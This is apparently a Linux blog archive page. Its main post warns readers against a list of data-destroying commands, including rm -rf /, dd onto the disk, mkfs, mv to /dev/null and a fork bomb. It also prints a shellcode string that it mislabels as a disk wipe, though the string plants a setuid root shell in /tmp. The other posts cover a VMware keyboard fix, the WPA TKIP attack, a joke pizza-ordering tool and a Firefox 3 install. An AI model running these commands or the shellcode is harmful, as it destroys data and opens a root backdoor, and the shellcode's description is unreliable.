Archive for the 'hacks' Category

13 Linux lethal commands

dead linuxIn this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null \;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :( ){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.

Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ

VMware server console keyboard problem in Ubuntu Intrepid Ibex

Few days ago I have upgraded my Ubuntu to latest 8.10 (Intrepid Ibex) and found that keyboard just doesn’t work in VMware Server Console. The problem was that I couldn’t use keyboard under guest operating system including Windows, Linux etc. After few hours of research I found simple solution which works for me:

$ setxkbmap
$ echo "xkeymap.nokeycodeMap = true" >> ~/.vmware/config

After this restart vmware-server-console and see if it helps. If not you can see other solutions of the same problem at this site:
http://nthrbldyblg.blogspot.com/2008/06/vmware-and-fubar-keyboard-effect.html

I hope it helps!
Continue reading…

WPA Wi-Fi encryption is now cracked

Network security researcher Erik Tews found a way to brake TKIP (Temporal Key Integrity Protocol) used by WPA in order to read the data being sent from router to Wi-Fi laptop or PC. It takes from 12 to 15 minutes to crack WPA encryption according to statements made by PacSec conference organizers where Erik will demonstrate the procedure.

PacSec 2008 Conference will be held on November 12/13, 2008, at Aoyama Diamond Hall in Tokyo, Japan. The presentation is planned as “Gone in 900 Seconds, Some Crypto Issues with WPA – Erik Tews”.

WPA (Wi-Fi Protected Area) is widely used to protect many corporate and personal wireless networks. This protocol implements IEEE 802.11i standard and is a successor of WEP algorithm which was cracked in 2001.

Read more here: Once thought safe, WPA Wi-Fi encryption is cracked.

FAQ: How to order pizza from Linux CLI?

couple eating pizza linuxQ: How can I order my favourite pizza by using Linux command line interface?

A: Well… You can use Pizza Party application written by Cory Arcangel and Michael Frumin! Here are some features this outstanding application provides:

  • Can order pizza with only a few keystrokes.
  • Can save pizza preferences.
  • Can use batch files for ordering many pizzas.
  • Has easy to use flags for ordering different toppings.
  • Runs on most UNIX-like operating systems.
  • Supports most currently popular topings like “mushrooms”, and “pepperoni”!
  • Unattended / background operation.
  • Pizza Party is distributed under the GNU General Public License.

Download Pizza Party’s initial source code here and python ported version from this link.

P.S. This portion of Friday humour is provided by Royal HeHe2-ness! :)

Install Firefox 3 in Debian Etch

If you downloaded fresh Firefox 3 installation e.g. from here and tried to install it in Debian Etch, you might notice that latest version of the popular browser requires GTK+ 2.10 while Etch contains only 2.8:

We're sorry, this application requires a version of the GTK+
library that is not installed on your computer.
You have GTK+ 2.8.This application requires GTK+ 2.10 or newer.Please upgrade your GTK+ library if you wish to use this application

Thankfully there is no need to upgrade GTK+, the tips given here (and here) will keep you from headache. The only thing that is necessary to do to get Firefox 3 working at Debian Etch, is to get GTK+ from backports by the following commands:

wget http://apt.linex.org/linex/gtk-2.10/libgtk2.0-0_2.10.13-2%7Ebpo.1_i386.deb
dpkg-deb -x libgtk2.0-0_2.10.13-2~bpo.1_i386.deb gtk2-10

Then copy contents of newly created directory gtk2-10 to /opt/firefox3 and add the following line into /opt/firefox3/firefox:

#!/bin/sh
#
export LD_LIBRARY_PATH="/opt/firefox3/gtk2-10/usr/lib"

It is necessary to inform Firefox where is new GTK+ is located :) Now it’s time to start Firefox…

P.S. In other distributions you can try to compile/install GTK+2.10 manually:

cd /usr/local/src
wget http://ftp.gnome.org/pub/GNOME/sources/gtk+/2.10/gtk+-2.10.14.tar.bz2
tar xjf gtk+-2.10.14.tar.bz2

mkdir gtk210
cd gtk+-2.10.14
./configure --prefix=/opt/firefox3/gtk2-10
make install




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My name is Artem Nosulchik (artiomix AT gmail DOT com) and I'm Linux/Unix, Cisco systems engineer. The main idea of Linux Screw is to share relevant knowledge, skills and observations over The Web. Here you can find a lot of information related to different Linux distributions, FreeBSD, IOS as well as a other Open Source around staff. Read more ››